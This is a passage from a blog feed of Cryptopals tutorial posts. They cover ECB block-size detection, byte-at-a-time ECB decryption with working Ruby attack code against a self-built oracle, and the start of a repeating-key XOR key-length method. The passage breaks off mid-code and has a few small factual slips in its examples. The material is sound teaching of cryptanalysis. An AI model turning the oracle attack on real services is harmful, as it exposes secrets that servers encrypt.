&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Iteration 2&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Let’s feed our original message an &lt;em&gt;iteration&lt;/em&gt; number of &lt;code class=&quot;language-text&quot;&gt;A&lt;/code&gt;s:
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;[41, 41, 0, 1, 2, 3, 4, 1]&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Encrypt the value above and store it&lt;/li&gt;
&lt;li&gt;Let’s feed our original message an &lt;em&gt;iteration plus one&lt;/em&gt; number of &lt;code class=&quot;language-text&quot;&gt;A&lt;/code&gt;s:
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;[41, 41, 41, 0, 1, 2, 3, 4, 4, 4, 4, 4]&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Encrypt the value above and store it&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;em&gt;Is the first block of steps one and three the same?&lt;/em&gt; They are not!&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Step 1 first block: &lt;code class=&quot;language-text&quot;&gt;[41, 41, 0, 1]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Step 3 first block: &lt;code class=&quot;language-text&quot;&gt;[41, 41, 41, 0]&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Iteration 3&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Let’s feed our original message our &lt;em&gt;iteration&lt;/em&gt; number of &lt;code class=&quot;language-text&quot;&gt;A&lt;/code&gt;s:
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;[41, 41, 41, 0, 1, 2, 3, 4, 4, 4, 4, 4]&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Encrypt the value above and store it&lt;/li&gt;
&lt;li&gt;Let’s feed our original message our &lt;em&gt;iteration plus one&lt;/em&gt; number of &lt;code class=&quot;language-text&quot;&gt;A&lt;/code&gt;s:
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;[41, 41, 41, 41, 0, 1, 2, 3, 4, 3, 3, 3]&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Encrypt the value above and store it&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;em&gt;Is the first block of steps one and three the same?&lt;/em&gt; They are not!&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Step 1 first block: &lt;code class=&quot;language-text&quot;&gt;[41, 41, 41, 0]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Step 3 first block: &lt;code class=&quot;language-text&quot;&gt;[41, 41, 41, 41]&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Iteration 4&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Let’s feed our original message our &lt;em&gt;iteration&lt;/em&gt; number of &lt;code class=&quot;language-text&quot;&gt;A&lt;/code&gt;s:
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;[41, 41, 41, 41, 0, 1, 2, 3, 4, 3, 3, 3]&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Encrypt the value above and store it&lt;/li&gt;
&lt;li&gt;Let’s feed our original message our &lt;em&gt;iteration plus one&lt;/em&gt; number of &lt;code class=&quot;language-text&quot;&gt;A&lt;/code&gt;s:
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;[41, 41, 41, 41, 41, 0, 1, 2, 3, 4, 2, 2]&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Encrypt the value above and store it&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;em&gt;Is the first block of steps one and three the same?&lt;/em&gt; They are!&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Step 1 first block: &lt;code class=&quot;language-text&quot;&gt;[41, 41, 41, 41]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Step 3 first block: &lt;code class=&quot;language-text&quot;&gt;[41, 41, 41, 41]&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We had &lt;strong&gt;4 iterations&lt;/strong&gt;, so that’s our block size!&lt;/p&gt;
&lt;h3&gt;Why this work?&lt;/h3&gt;
&lt;p&gt;It only works because ECB produces the &lt;em&gt;same ciphertext given the same plaintext&lt;/em&gt;, and the last two iterations end up producing the same &lt;code class=&quot;language-text&quot;&gt;first block&lt;/code&gt; since they are the same plaintext (both are &lt;code class=&quot;language-text&quot;&gt;[41, 41, 41, 41]&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;If ECB didn’t produce the same ciphertext we would have no way to compare whether both blocks are the same or not.&lt;/p&gt;
&lt;h3&gt;Implementation&lt;/h3&gt;
&lt;deckgo-highlight-code language=&quot;rb&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;BYTE = &amp;#39;A&amp;#39;.ord # 41

def infer_block_size
  (1..256).each do |count|
    iteration_0 = encryption_oracle(Array.new(count, BYTE))
    iteration_1 = encryption_oracle(Array.new(count + 1, BYTE))

    if iteration_0.slice(0, count) == iteration_1.slice(0, count)
      return count
    end
  end
end&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;And we have reached the end of our exercise! Congratulations, take a moment to be proud of what you have achieved and I hope you are looking forward to the next posts as much as I am. :)&lt;/p&gt;</content:encoded></item><item><title><![CDATA[ECB decryption (Simple)]]></title><description><![CDATA[Decrypting ECB a byte at a time]]></description><link>https://bernardoamc.com/ecb-decryption-simple/</link><guid isPermaLink="false">https://bernardoamc.com/ecb-decryption-simple/</guid><pubDate>Sun, 27 Jun 2021 12:35:00 GMT</pubDate><content:encoded>&lt;p&gt;In this post we will investigate the byte-at-a-time ECB decryption exercise from &lt;a href=&quot;https://cryptopals.com/sets/2/challenges/12&quot;&gt;Cryptopals&lt;/a&gt;. I highly recommend attempting the previous exercises yourself as they do a great job ramping up your knowledge on the subject.&lt;/p&gt;
&lt;h2&gt;Goal&lt;/h2&gt;
&lt;p&gt;The goal of this exercise is to figure out the &lt;strong&gt;contents of an &lt;em&gt;unknown&lt;/em&gt; message that we know that will be encrypted under &lt;code class=&quot;language-text&quot;&gt;ECB&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;The only thing we control in this exercise is the fact that we can add a &lt;code class=&quot;language-text&quot;&gt;prefix&lt;/code&gt; to this unknown buffer before encryption.&lt;/p&gt;
&lt;p&gt;To make this exercise more relatable we can think of a web server performing an operation like:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Get our username (we control that)&lt;/li&gt;
&lt;li&gt;Concatenate it with something that is under the server control, let’s say &lt;code class=&quot;language-text&quot;&gt;;admin=false;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;After steps 1 and 2 the server will encrypt something like: &lt;code class=&quot;language-text&quot;&gt;our_provided_name;admin=false;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;The server surfaces the encrypted value as a &lt;code class=&quot;language-text&quot;&gt;cookie&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Our goal is discover that the server is appending &lt;code class=&quot;language-text&quot;&gt;;admin=false;&lt;/code&gt; to our provided input.&lt;/p&gt;
&lt;p&gt;This could be translated in &lt;code class=&quot;language-text&quot;&gt;Ruby&lt;/code&gt; as:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;ruby&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;# Generating a random 16-bytes key to encrypt our unknown message with.
# We can think of this key as something the web server holds.
RANDOM_KEY = 16.times.map { rand(0..255) }

# The ;admin=false; in our example above
UNKNOWN_BUFFER = File.read(&amp;#39;unknown_buffer&amp;#39;).strip

def encryption_oracle(controlled_buffer)
  # Ignore this PKCS7_PAD function, all it does for our purposes in guarantee
  # that our message is a multiple of 16 bytes. We will understand the reason behind
  # this in the &amp;quot;ECB Encryption&amp;quot; section.
  padded_buffer = pkcs7_pad(
    controlled_buffer + UNKNOWN_BUFFER,
    16
  )

  # Our ECB encryption using our RANDOM KEY
  # We will implement this method below.
  aes_ecb_encrypt(padded_buffer, RANDOM_KEY)
end&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;h2&gt;ECB Encryption&lt;/h2&gt;
&lt;p&gt;Let’s see what ECB encryption actually is visually and talk about the reasons why encrypting things with ECB is not considered secure.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/57a5f0ac5ae3384ef6760a90fd16a8ad/ecb_encryption.svg&quot; alt=&quot;ECB Encryption by WhiteTimberwolf&quot;&gt;&lt;/p&gt;
&lt;p&gt;According to the image above we have a &lt;code class=&quot;language-text&quot;&gt;plaintext&lt;/code&gt; (message) that we want to encrypt, and what the algorithm does is:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Split our plaintext in &lt;code class=&quot;language-text&quot;&gt;blocks&lt;/code&gt; of 8 or 16 bytes, we will be using 16 bytes for our example&lt;/li&gt;
&lt;li&gt;Encrypt each of these blocks using a 16-byte &lt;code class=&quot;language-text&quot;&gt;key&lt;/code&gt; (the same size as our blocks)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This is considered insecure since &lt;em&gt;encrypting the same block will always yield the same ciphertext (encoded block)&lt;/em&gt;, and due to this characteristic we can observe the following characteristics from observing &lt;em&gt;ciphertexts encrypted under the same key&lt;/em&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Detect if plaintexts are &lt;em&gt;equal&lt;/em&gt; or not&lt;/li&gt;
&lt;li&gt;Detect if plaintexts &lt;em&gt;share a common prefix&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Detect if plaintexts &lt;em&gt;share common substrings&lt;/em&gt; (depends on block alignment)&lt;/li&gt;
&lt;li&gt;Detect &lt;em&gt;repetitive data&lt;/em&gt; in a plaintext&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;What happens when a plaintext is not a multiple of 16 bytes?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;In this case we can use a padding algorithm, a commonly used one is called &lt;a href=&quot;https://en.wikipedia.org/wiki/Padding_(cryptography)#PKCS#5_and_PKCS#7&quot;&gt;pkcs7&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Example in Ruby&lt;/h2&gt;
&lt;p&gt;Let’s use &lt;code class=&quot;language-text&quot;&gt;blocks&lt;/code&gt; of &lt;code class=&quot;language-text&quot;&gt;16 bytes&lt;/code&gt; (128 bit encryption), meaning our message will be split into blocks of &lt;code class=&quot;language-text&quot;&gt;16 bytes&lt;/code&gt; each.&lt;/p&gt;
&lt;p&gt;We will create two plaintexts that share a common prefix of 16 bytes (the size of a block). What we want to prove is that &lt;strong&gt;the first block of each encrypted message will also be the same&lt;/strong&gt;.&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;ruby&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;require &amp;#39;openssl&amp;#39;

KEY = &amp;#39;supersecretkey?!&amp;#39;
BLOCK_SIZE = 16

def aes_ecb_encrypt(buffer, key)
  raise &amp;#39;Buffer must be composed of 16-byte chunks&amp;#39; unless (buffer.size % 16).zero?
  cipher = OpenSSL::Cipher.new(&amp;#39;AES-128-ECB&amp;#39;)
  cipher.encrypt
  cipher.key = key.pack(&amp;#39;C*&amp;#39;)
  cipher.padding = 0 # we don&amp;#39;t want padding in our example
  result = cipher.update(buffer.pack(&amp;#39;C*&amp;#39;)) + cipher.final
  result.unpack(&amp;#39;C*&amp;#39;)
end

# The only difference between this method and the one above is the &amp;quot;cipher.decrypt&amp;quot; line.
def aes_ecb_decrypt(buffer, key)
  raise &amp;#39;Buffer must be composed of 16-byte chunks&amp;#39; unless (buffer.size % 16).zero?
  cipher = OpenSSL::Cipher.new(&amp;#39;AES-128-ECB&amp;#39;)
  cipher.decrypt
  cipher.key = key.pack(&amp;#39;C*&amp;#39;)
  cipher.padding = 0 # we don&amp;#39;t want padding in our example
  result = cipher.update(buffer.pack(&amp;#39;C*&amp;#39;)) + cipher.final
  result.unpack(&amp;#39;C*&amp;#39;)
end

# The first 16 bytes are the same for both plaintexts, which is: &amp;quot;This message has&amp;quot;
plaintext1 = &amp;#39;This message has lots of content&amp;#39;
plaintext2 = &amp;#39;This message has amazing content&amp;#39;

encrypted_plaintext1 = aes_ecb_encrypt(
  plaintext1.bytes,
  KEY.bytes
)

# Sanity test so we can be sure our encryption/decryption works
if aes_ecb_decrypt(encrypted_plaintext1, KEY.bytes)
  puts &amp;quot;Decrypting our encryption works!&amp;quot;
end

ciphertext1_first_block = aes_ecb_encrypt(
  plaintext1.bytes,
  KEY.bytes
).slice(0, BLOCK_SIZE)

ciphertext2_first_block = aes_ecb_encrypt(
  plaintext2.bytes,
  KEY.bytes
).slice(0, BLOCK_SIZE)

if ciphertext1_first_block == ciphertext2_first_block
  puts &amp;quot;Encrypting the same plaintext content yields the same ciphertext!&amp;quot;
end

# We can also see that the same plaintext encrypted twice will result in the same ciphertext
first_encryption = aes_ecb_encrypt(
  plaintext1.bytes,
  KEY.bytes
)
second_encryption = aes_ecb_encrypt(
  plaintext1.bytes,
  KEY.bytes
)

if first_encryption == second_encryption
  puts &amp;quot;The same message will always yield the same encrypted result in ECB.&amp;quot;
end&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;h2&gt;Byte-at-a-time ECB decryption&lt;/h2&gt;
&lt;p&gt;With the knowledge of the algorithm in place, how would we attempt to reverse engineer our &lt;em&gt;unknown message&lt;/em&gt; encrypted with ECB?&lt;/p&gt;
&lt;p&gt;Let’s recap what we know so far:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Our unknown message will be split into &lt;code class=&quot;language-text&quot;&gt;blocks&lt;/code&gt; of &lt;code class=&quot;language-text&quot;&gt;16 bytes&lt;/code&gt; and each of these blocks will be encrypted under an unknown &lt;code class=&quot;language-text&quot;&gt;key&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;We control the &lt;code class=&quot;language-text&quot;&gt;prefix&lt;/code&gt;, so we also control whatever our &lt;em&gt;initial blocks&lt;/em&gt; will be
&lt;ul&gt;
&lt;li&gt;Take a moment to truly understand this statement&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;It’s time to work with a contrived example. :)&lt;/p&gt;
&lt;h3&gt;Contrived Example&lt;/h3&gt;
&lt;p&gt;Assume that:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Our &lt;code class=&quot;language-text&quot;&gt;block size&lt;/code&gt; is &lt;code class=&quot;language-text&quot;&gt;4 bytes&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Our buffer is &lt;code class=&quot;language-text&quot;&gt;[0,1,2,3,4,5,6,7]&lt;/code&gt; (the message that the server appends and we &lt;strong&gt;do not know&lt;/strong&gt;)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;We control our &lt;code class=&quot;language-text&quot;&gt;prefix&lt;/code&gt;, so let’s add add 3 ‘A’s (block size minus one) to our message. The final string that will be encrypted ends up being: &lt;br /&gt;
&lt;code class=&quot;language-text&quot;&gt;[A, A, A, 0, 1, 2, 3, 4, 5, 6, 7]&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Notice that our first block is &lt;code class=&quot;language-text&quot;&gt;[A, A, A, 0]&lt;/code&gt; (4 bytes) and we know the first three bytes (our prefix), but we do not know the &lt;em&gt;last byte of this block&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;We let the server encrypt this value and take note of it.&lt;/p&gt;
&lt;p&gt;With the knowledge that the &lt;em&gt;same block encrypted under the same key produces the same ciphertext&lt;/em&gt; we can start our enumeration process. We want to feed to the server the same first block that it encrypted when we sent our three ‘A’s. To do that we need to send our three ‘A’s yet again plus the byte we want to enumerate.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;[A, A, A, 0], [A, A, A, 1], [A, A, A, 2] and so on.
&lt;ul&gt;
&lt;li&gt;We now store every attempt and compare it with the original encrypted block&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;By comparing the encrypted value of &lt;code class=&quot;language-text&quot;&gt;[A, A, A, 0]&lt;/code&gt; (original encryption) with our dictionary we find that the first byte is &lt;code class=&quot;language-text&quot;&gt;0&lt;/code&gt;, so it’s time to find the &lt;code class=&quot;language-text&quot;&gt;second unknown byte&lt;/code&gt;. To do this we need to send two ‘A’s this time instead of three! This is the case since we already know one byte of the buffer, and we want to figure out the second unknown byte. Our output after sending two ‘A’s is: &lt;br /&gt;
&lt;code class=&quot;language-text&quot;&gt;[A, A, 0, 1, 2, 3, 4, 5, 6, 7]&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;This means our first block is &lt;code class=&quot;language-text&quot;&gt;[A, A, 0, 1]&lt;/code&gt; and we again know the first three bytes, so we can enumerate only the last one.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;[A, A, 0, 0], [A, A, 0, 1], [A, A, 0, 2] and so on.
&lt;ul&gt;
&lt;li&gt;We now store every attempt and compare it with the original encrypted block&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;By comparing the encrypted value of &lt;code class=&quot;language-text&quot;&gt;[A, A, 0, 1]&lt;/code&gt; (original encryption) with our dictionary we find that the second byte is &lt;code class=&quot;language-text&quot;&gt;1&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;We repeat the process always sending one less ‘A’ until we figure out the first full block of our unknown message, which is composed of the bytes &lt;br/&gt;
&lt;code class=&quot;language-text&quot;&gt;[0, 1, 2, 3]&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;It’s time to decode the second block, so let’s send again 3 ‘A’s, ending up with: &lt;br/&gt;
&lt;code class=&quot;language-text&quot;&gt;[A, A, A, 0, 1, 2, 3, 4, 5, 6, 7]&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;We are interested in our &lt;code class=&quot;language-text&quot;&gt;second block&lt;/code&gt;, which is &lt;code class=&quot;language-text&quot;&gt;[1, 2, 3, 4]&lt;/code&gt; and we know the first three bytes! So we can start our enumeration steps all over again.&lt;/p&gt;
&lt;p&gt;We just need to repeat &lt;em&gt;this same process&lt;/em&gt; until we have the full string.&lt;/p&gt;
&lt;h3&gt;Formal algorithm&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Craft an input block that is exactly &lt;code class=&quot;language-text&quot;&gt;1 byte short&lt;/code&gt; (for instance, if the block size is 8 bytes, make “AAAAAAA”)&lt;/li&gt;
&lt;li&gt;Make a dictionary of every possible last byte by feeding different strings to the encryption function; for instance, “AAAAAAAA”, “AAAAAAAB”, “AAAAAAAC”, remembering the first block of each invocation.&lt;/li&gt;
&lt;li&gt;Match the output of the one-byte-short input to one of the entries in your dictionary. You’ve now discovered the first byte of unknown-string.
Repeat for the next byte.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Implementation&lt;/h2&gt;
&lt;deckgo-highlight-code language=&quot;ruby&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;KEY_SIZE = 16
RANDOM_KEY = KEY_SIZE.times.map { rand(0..255) }
UNKNOWN_BUFFER = base64_decode(File.read(&amp;#39;12.txt&amp;#39;).strip)
BYTE = &amp;#39;A&amp;#39;.ord

def decrypt_byte(target, controlled_prefix, current_block)
  (0..255).each do |byte|
    # Our encryption function from the beginning of our post
    encryption = encryption_oracle(controlled_prefix + [byte])
    return byte if encryption.slice(current_block * KEY_SIZE, KEY_SIZE) == target
  end

  raise &amp;quot;This shouldn&amp;#39;t happen!&amp;quot;
end

def decrypt_aes_ecb
  known = []

  UNKNOWN_BUFFER.size.times do
    current_block = known.size / KEY_SIZE
    prefix_size = (KEY_SIZE - known.size - 1) % KEY_SIZE
    prefix = Array.new(prefix_size, BYTE)
    controlled_encryption = encryption_oracle(prefix)

    known &amp;lt;&amp;lt; decrypt_byte(
      controlled_encryption.slice(current_block * KEY_SIZE, KEY_SIZE),
      prefix + known,
      current_block
    )
  end

  known
end

puts &amp;quot;Message found!\n\n#{decrypt_aes_ecb.pack(&amp;#39;C*&amp;#39;)}&amp;quot;&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;And we have reached the end of our exercise! Congratulations, take a moment to be proud of what you have achieved and I hope you are looking forward to the next posts as much as I am. :)&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Repeating-key XOR II]]></title><description><![CDATA[Given that we are using repeating-key XOR, how do we figure out the length of an unknown key?]]></description><link>https://bernardoamc.com/repeating-key-xor-ii/</link><guid isPermaLink="false">https://bernardoamc.com/repeating-key-xor-ii/</guid><pubDate>Sun, 20 Jun 2021 18:35:00 GMT</pubDate><content:encoded>&lt;p&gt;Building up on our previous &lt;a href=&quot;/repeating-key-xor&quot;&gt;repeating-key-xor&lt;/a&gt; post we will be tackling the exact same problem, but we will assume this time that we &lt;strong&gt;do not know the length of our &lt;code class=&quot;language-text&quot;&gt;key&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Before we jump into solution mode we will need to figure out how to compute the edit distance, also called Hamming distance, between two strings. This is nothing more than computing the number of &lt;strong&gt;differing bits&lt;/strong&gt; (not bytes) between those strings. This value will help us determine whether we are guessing a good key length or not in the following section.&lt;/p&gt;
&lt;p&gt;This can be done by XORing characters of both strings and counting the number of &lt;code class=&quot;language-text&quot;&gt;1&lt;/code&gt; bits in the result. There are two ways that I know of to display the bit representation of a string in &lt;code class=&quot;language-text&quot;&gt;Ruby&lt;/code&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Using &lt;code class=&quot;language-text&quot;&gt;ord.to_s(2)&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;&apos;a&apos;.ord.to_s(2)&lt;/code&gt; =&gt; &lt;code class=&quot;language-text&quot;&gt;&quot;1100001&quot;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Using &lt;code class=&quot;language-text&quot;&gt;.unpack(&apos;B*&apos;)&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;&apos;a&apos;.unpack(&apos;B*&apos;)&lt;/code&gt; =&gt; &lt;code class=&quot;language-text&quot;&gt;[&quot;01100001&quot;]&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;So let’s see the hamming distance between the strings &lt;code class=&quot;language-text&quot;&gt;ha&lt;/code&gt; and &lt;code class=&quot;language-text&quot;&gt;co&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;ha&lt;/code&gt; =&gt; &lt;code class=&quot;language-text&quot;&gt;[h, o]&lt;/code&gt; =&gt; &lt;code class=&quot;language-text&quot;&gt;[&quot;1101000&quot;, &quot;1100001&quot;]&lt;/code&gt; &lt;br /&gt;
&lt;code class=&quot;language-text&quot;&gt;co&lt;/code&gt; =&gt; &lt;code class=&quot;language-text&quot;&gt;[c, o]&lt;/code&gt; =&gt; &lt;code class=&quot;language-text&quot;&gt;[&quot;1100011&quot;, &quot;1101111&quot;]&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Between &lt;code class=&quot;language-text&quot;&gt;h&lt;/code&gt; and &lt;code class=&quot;language-text&quot;&gt;c&lt;/code&gt; we have &lt;code class=&quot;language-text&quot;&gt;3&lt;/code&gt; bits that are different. &lt;br /&gt;
Between &lt;code class=&quot;language-text&quot;&gt;a&lt;/code&gt; and &lt;code class=&quot;language-text&quot;&gt;o&lt;/code&gt; we also have &lt;code class=&quot;language-text&quot;&gt;3&lt;/code&gt; bits that are different.&lt;/p&gt;
&lt;p&gt;Given that, the Hamming distance between those two strings is &lt;code class=&quot;language-text&quot;&gt;6&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Let’s automate that using &lt;code class=&quot;language-text&quot;&gt;Ruby&lt;/code&gt;.&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;ruby&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;def hamming(s1, s2)
  raise &amp;#39;Both strings should have the same length&amp;#39; if s1.size != s2.size

  s1.size.times.reduce(0) do |total, index|
    xor_result = s1[index].ord ^ s2[index].ord
    total += xor_result.to_s(2).count(&amp;#39;1&amp;#39;)
  end
end

puts hamming(&amp;#39;ha&amp;#39;, &amp;#39;co&amp;#39;) # 6&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;With that out of the way we can start working on figuring out the key length.&lt;/p&gt;
&lt;h2&gt;Figuring out the key length&lt;/h2&gt;
&lt;p&gt;The intuition here is that &lt;strong&gt;the Hamming distance between &lt;code class=&quot;language-text&quot;&gt;blocks&lt;/code&gt; XORed by the same key should be relatively low&lt;/strong&gt; when compared to blocks XORed by &lt;strong&gt;different keys&lt;/strong&gt;. Intuitively this makes sense since we will have less differing bits in average.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;If the statement above is confusing it helps to remember that XORing equal strings yields only zero bits and XORing similar strings yields a low number, which corresponds to a low number of 1s in its binary representation&lt;/em&gt;. Investigating &lt;a href=&quot;https://en.wikipedia.org/wiki/Exclusive_or&quot;&gt;XOR properties&lt;/a&gt; might help with the intuition.&lt;/p&gt;
&lt;p&gt;Now let’s see what we mean by &lt;code class=&quot;language-text&quot;&gt;blocks&lt;/code&gt; in our initial statement with a visual example:&lt;/p&gt;
&lt;p&gt;Buffer: &lt;code class=&quot;language-text&quot;&gt;THIS_MESSAGE_IS_UNREADABLE!_:)&lt;/code&gt; &lt;br /&gt;
Key: &lt;code class=&quot;language-text&quot;&gt;SECRET&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;This message will be XORed like:&lt;/p&gt;
&lt;deckgo-highlight-code   highlight-lines=&quot;undefined&quot;&gt;
          &lt;code slot=&quot;code&quot;&gt;T|H|I|S|_|M|E|S|S|A|G|E|_|I|S|_|U|N|R|E|A|D|A|B|L|E|!|_|:|)|
S|E|C|R|E|T|S|E|C|R|E|T|S|E|C|R|E|T|S|E|C|R|E|T|S|E|C|R|E|T|
-----------|-----------|-----------|-----------|-----------|
--BLOCK 1--|--BLOCK 2--|--BLOCK 3--|--BLOCK 4--|--BLOCK 5--|&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;So each &lt;code class=&quot;language-text&quot;&gt;block&lt;/code&gt; has &lt;code class=&quot;language-text&quot;&gt;KEY size&lt;/code&gt; characters, in this case 5 characters since that’s the length of our KEY.&lt;/p&gt;
&lt;p&gt;Ultimately we will still need to &lt;em&gt;guess&lt;/em&gt; our key length. All this algorithm really does is to provide us with a few good guesses so we can run the algorithm detailed in our &lt;a href=&quot;/repeating-key-xor&quot;&gt;previous post&lt;/a&gt; with the best guesses that we generate.&lt;/p&gt;
&lt;p&gt;Let’s formalize our algorithm:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Iterate through &lt;code class=&quot;language-text&quot;&gt;KEY sizes&lt;/code&gt; from 2 to 40 (we are assuming our keys have at maximum 40 bytes in this example)&lt;/li&gt;
&lt;li&gt;For each &lt;code class=&quot;language-text&quot;&gt;KEY size&lt;/code&gt;:
&lt;ul&gt;
&lt;li&gt;take the first &lt;code class=&quot;language-text&quot;&gt;KEY size&lt;/code&gt; worth of bytes (first block) from our encoded message&lt;/li&gt;
&lt;li&gt;take the second &lt;code class=&quot;language-text&quot;&gt;KEY size&lt;/code&gt; worth of bytes (second block) from our encoded message&lt;/li&gt;
&lt;li&gt;compute the hamming distance between these two&lt;/li&gt;
&lt;li&gt;normalize this result by dividing by the &lt;code class=&quot;language-text&quot;&gt;KEY size&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Repeat step 2 with the second and third &lt;code class=&quot;language-text&quot;&gt;KEY size&lt;/code&gt; worth of bytes (second and third blocks).&lt;/li&gt;
&lt;li&gt;Repeat step 2 with the third and fourth &lt;code class=&quot;language-text&quot;&gt;KEY size&lt;/code&gt; worth of bytes (third and fourth blocks).&lt;/li&gt;
&lt;li&gt;Sum the values from steps two to four and divide the result by three (averaging the result).&lt;/li&gt;
&lt;li&gt;Store the result somewhere&lt;/li&gt;
&lt;li&gt;After the score for every &lt;code class=&quot;language-text&quot;&gt;KEY size&lt;/code&gt; is calculated, return the lowest three values.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This is one of the cases where reading the source code is actually easier than reading the specification, so let’s implement it in &lt;code class=&quot;language-text&quot;&gt;Ruby&lt;/code&gt;:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;ruby&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;# Trying keys between 2 and 40 characters
KEY_LEN_RANGE = (2..40)

Key = Struct.new(:distance, :len, keyword_init: true) do
  def key_sort(other)
    distance &amp;lt;=&amp;gt; other.distance
  end
end

def find_key_candidates(buffer)
# Step 1 and Step 6 (storing in an Array)
  keys = KEY_LEN_RANGE.map do |key_len|
    c1 = buffer.slice(0, key_len)
    c2 = buffer.slice(key_len, key_len)
